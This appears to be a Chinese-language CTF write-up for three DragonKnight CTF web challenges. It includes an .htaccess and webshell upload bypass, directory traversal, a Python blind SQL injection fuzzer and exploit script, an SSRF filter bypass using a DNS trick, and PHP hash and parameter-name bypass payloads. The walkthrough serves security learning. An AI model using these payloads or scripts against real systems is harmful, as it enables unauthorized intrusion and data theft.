DragonKnight CTF
ezsign
考点:php引擎关闭下的文件上传
打开题目是一个登陆界面
登陆账号密码分别为1,1
使用dirsearch扫描到/index.php.bak
得到源码
error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;
if($token){
extract($_GET);
$token = base64_decode($token);
$token = json_decode($token, true);
$username = $token['username'];
$password = $token['password'];
$isLocal = false;
if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
$isLocal = true;
}
if($isLocal){
echo 'Welcome Back,' . $username . '!';
//如果 upload 目录下存在$username.png文件,则显示图片
if(file_exists('upload/' . $username . '/' . $token['filename'])){
// 显示图片,缩小图片
echo '<br>';
echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
} else {
echo '请上传您高贵的头像。';
// 写一个上传头像的功能
$html = <<<EOD
<form method="post" action="upload.php" enctype="multipart/form-data">
<input type="file" name="file" id="file">
<input type="submit" value="Upload">
</form>
EOD;
echo $html;
}
} else {
// echo "留个言吧";
$html = <<<EOD
<h1>留言板</h1>
<label for="input-text">Enter some text:</label>
<input type="text" id="input-text" placeholder="Type here...">
<button onclick="displayInput()">Display</button>
EOD;
echo $html;
}
} else {
$html = <<<EOD
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h2>Login</h2>
<form method="post" action="./login.php">
<div>
<label for="username">Username:</label>
<input type="text" name="username" id="username" required>
</div>
<div>
<label for="password">Password:</label>
<input type="password" name="password" id="password" required>
</div>
<div>
<input type="submit" value="Login">
</div>
</form>
</body>
</html>
EOD;
echo $html;
}
?>
<script>
function displayInput() {
var inputText = document.getElementById("input-text").value;
document.write(inputText)
}
</script>
发现要进入文件上传页面的话,要使
成立$_SERVER['REMOTE_ADDR'] == "127.0.0.1"
这好办,存在变量覆盖extract($_GET);
只需要get传参
即可?_SERVER[REMOTE_ADDR]=127.0.0.1
尝试上传一个webshell
发现可以上传成功,但上传到php文件没有被解析
解析不了php文件,是因为出题人在 upload 下放了个.htaccess,关闭了php解析引擎
没事儿,上传一个.htaccess文件打开php引擎即可
<FilesMatch "3.jpg">
setHandler application/x-httpd-php
php_flag engine 1
</FilesMatch>
php_flag 是一个 Apache Web 服务器上用于在 .htaccess 文件或虚拟主机配置中设置 PHP 配置选项的指令。engine 是一个 PHP 配置选项,用于启用或禁用 PHP 引擎。
当将 php_flag engine 1 添加到 .htaccess 文件或虚拟主机配置中时,它表示将 PHP 引擎设置为启用状态。这意味着服务器会将相关的 PHP 文件发送给 PHP 解释器处理,并生成动态的网页内容。如果将值设置为 0,即 php_flag engine 0,则表示禁用 PHP 引擎,服务器将直接发送 PHP 文件的内容而不进行解释和处理。
之后直接上传webshell即可
另解
考虑目录穿越。直接上传例如../../shell.php无效,考虑根据源代码的
,将username修改实现目录穿越。echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
再次登录,由于网站根路径为/var/www/html,修改username为../../html(理论上../也可以,保险起见),上传木马,此时木马被传到能解析php的根目录,成功执行,通过目录遍历找到根目录的f1ag_1s_h3r3_04c76718-3c8f-4049-be9c-322548473c10,访问拿到flag
EzLogin
考点:有过滤的sql注入,token注入
这道题出得有点恶心,就一个sql盲注,整些花里胡哨的
显示我不是admin, bp抓包,token解密为{"username":"admin", "token":"21232f297a57a5a743894a0e4a801fc3", "is_admin":0}
将0改为1即可登录
显示出admin的密码
发现毛用没有
看wp才知道这里的token存在sql注入
这里存在过滤
改了一下师傅的py脚本,fuzz一下过滤了哪些字符
import requests
import base64
import hashlib
import binascii
def string_to_hex_direct(s):
return binascii.hexlify(s.encode()).decode()
burp0_url = "http://challenge.qsnctf.com:31075/home.php"
session = requests.session()
test_list = [
'length',
'Length',
'+',
'handler',
'likeLiKe',
'selectSeleCT',
'sleepSLEEp',
'databaseDATABASe',
'delete',
'having',
'oroR',
'asAs',
'-',
'~',
'BENCHMARK',
'limitLimIt',
'leftLeft',
'selectSELECT',
'insertinsERTINSERT',
'right',
'#',
'--+',
'INFORMATION',
'--',
';',
'!',
'%',
'+',
'xor',
'<>',
'(',
'>',
'<',
')',
'.',
'^',
'=',
'ANDANd',
'BYBy',
'CAST',
'COLUMNCOlumn',
'COUNTCount',
'CREATE',
'END',
'case',
"'1'='1",
'when',
"admin'",
'"',
'length',
'+',
'REVERSE',
'asciiASSICASSic',
'select',
'database',
'left',
'right',
'unionUNIonUNION',
'"',
'&',
'&&',
'||',
'oorr',
'/',
'//',
'//*',
'*/*',
'/**/',
'anandd',
'GROUP',
'HAVING',
'IF',
'INTO',
'JOIN',
'LEAVE',
'LEFT',
'LEVEL',
'sleep',
'LIKE',
'NAMES',
'NEXT',
'NULL',
'OF',
'ON',
'|',
'infromation_schema',
'user',
'OR',
'ORDER',
'ORD',
'SCHEMA',
'SELECT',
'SET',
'TABLE',
'THEN',
'UNION',
'UPDATE',
'USER',
'USING',
'VALUE',
'VALUES',
'WHEN',
'WHERE',
'ADD',
'AND',
'prepare',
'set',
'update',
'delete',
'drop',
'inset',
'CAST',
'COLUMN',
'CONCAT',
'GROUP_CONCAT',
'group_concat',
'CREATE',
'DATABASE',
'DATABASES',
'alter',
'DELETE',
'DROP',
'floor',
'rand()',
'information_schema.tables',
'TABLE_SCHEMA',
'%df',
'concat_ws()',
'concat',
'LIMIT',
'ORD',
'ON',
'extractvalue',
'order',
'CAST()',
'by',
'ORDER',
'OUTFILE',
'RENAME',
'REPLACE',
'SCHEMA',
'SELECT',
'SET',
'updatexml',
'SHOW',
'SQL',
'TABLE',
'THEN',
'TRUE',
'instr',
'benchmark',
'format',
'bin',
'substring',
'ord',
'UPDATE',
'VALUES',
'VARCHAR',
'VERSION',
'WHEN',
'WHERE',
'/*',
'`',
',',
'users',
'%0a%0A',
'%0b',
'mid',
'for',
'BEFORE',
'REGEXP',
'RLIKE',
'in',
'sys schemma',
'SEPARATOR',
'XOR',
'CURSOR',
'FLOOR',
'sys.schema_table_statistics_with_buffer',
'INFILE',
'count',
'%0c',
'from',
'%0d',
'%a0',
'=',
]
for i in test_list:
sql=f"{i}"
token=hashlib.md5(sql.encode()).hexdigest()
data='''{"username":"'''+sql+'''", "token":"'''+token+'''", "is_admin":1}'''
data_base64=base64.b64encode(bytes(data, encoding="utf8")).decode("utf-8")
hex_data=string_to_hex_direct(data_base64)
burp0_cookies = {"TOKEN":hex_data }
res=session.get(burp0_url, cookies=burp0_cookies)
if "Hacker" in res.text:
print(i)
跑完脚本后,发现过滤了union,group,sleep,空格
这里就用sql盲注
空格用/**/绕过
admin'/**/and/**/1=1#
admin'/**/and/**/1=2#
这就确定就是用sql盲注了
exp
import requests
import base64
import hashlib
import binascii
def string_to_hex_direct(s):
return binascii.hexlify(s.encode()).decode()
burp0_url = "http://challenge.qsnctf.com:31385/home.php"
session = requests.session()
len=100
flag=''
for i in range(1, len+1):
for j in range(20,127):
#sql=f"admin'/**/and/**/asCii(Substr((select/**/TABLE_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),{i},1))={j}#"
#secret
#sql=f"admin'/**/and/**/asCii(Substr((select/**/column_name/**/from/**/informaton_schema.columns/**/where/**/table_name/**/like/**/'secret'/**/limit/**/2,1),{i},1))={j}#"
#flag sseeccrreett
#sql=f"admin'/**/and/**/asCii(Substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'user'/**/limit/**/2,1),{i},1))={j}#"
sql=f"admin'/**/and/**/asCii(Substr((select/**/sseeccrreett/**/from/**/secret/**/limit/**/0,1),{i},1))={j}#"
token=hashlib.md5(sql.encode()).hexdigest()
data='''{"username":"'''+sql+'''", "token":"'''+token+'''", "is_admin":1}'''
data_base64=base64.b64encode(bytes(data, encoding="utf8")).decode("utf-8")
hex_data=string_to_hex_direct(data_base64)
burp0_cookies = {"TOKEN":hex_data }
res=session.get(burp0_url,cookies=burp0_cookies)
if 'No' not in res.text:
flag+=chr(j)
print(flag)
break
穿梭隐藏的密钥
arjun参数爆破,ssrf和MD5绕过
源码发现路由
访问路由/c3s4f.php
参数爆破,得到参数shell
这里使用arjun工具爆破参数
arjun -u http://challenge.qsnctf.com:31117/c3s4f.php
需要本地才能实现文件读取
开始ssrf伪造
但是过滤了gopher,127,@,0等,以下是正则
'/ftp|ftps|gopher|telnet|dict|file|ldap|@|127|0|[|localhost|https/i'
这里可以用302跳转或者域名解析IP绕过
sudo.cc指向IP地址127.0.0.1。A记录就是域名指向ip地址,然后可以通过A记录转向访问
类似的还有safe.taobao.com,114.taobao.com,test.xiaodi8.com等
故构造如下:
?shell=http://sudo.cc/
发现回到了首页,跨越成功
但是要求是秘密只给127.0.0.1
猜测为secret.php(或者扫目录)
?shell=http://sudo.cc/secret.php
拿到key ,这里的key值是DrKn的参数和cha11eng3.php路由
challenge1:
需要绕过file_get_contents()函数
用data://伪协议绕过
所以第一部分payload:
/cha11eng3.php?DrKn=data://text/plain,MSIBLG
challenge2:
关键代码如下
hash("md4", $damei) == $damei
传入的值被md4加密后跟原来的相等
利用php的松散性绕过,也就是0e
初始值: 0e001233333333333334557778889
md4 hash : 0e434041524824285414215559233446
初始值: 0e00000111222333333666788888889
md4 hash : 0e434041524824285414215559233446
php非法传参
在给参数传值时,如果参数名中存在非法字符,比如空格和点,则参数名中的点和空格等非法字符都会被替换成下划线。
并且,在PHP8之前,如果参数中出现中括号[,那么中括号会被转换成下划线_,但是会出现转换错误,导致如果参数名后面还存在非法字符,则不会继续转换成下划线。也就是说,我们可以刻意拼接中括号制造这种错误,来保留后面的非法字符不被替换,因为中括号导致只会替换一次。
第二部分payload:
/cha11eng3.php?DrKn=data://text/plain,MSIBLG&M[ore.8=0e001233333333333334557778889
challenge3:
md5针对强类型逻辑比较绕过,同弱类型逻辑比较中利用php特性MD5处理数组默认返回Null进行绕过手法
(Null类型强(弱)等于Null类型)
第三部分payload:
get传参:
/cha11eng3.php?DrKn=data://text/plain,MSIBLG&M[ore.8=0e001233333333333334557778889
post传参:
wtf[]=11&mC[]=1
或者
直接post传参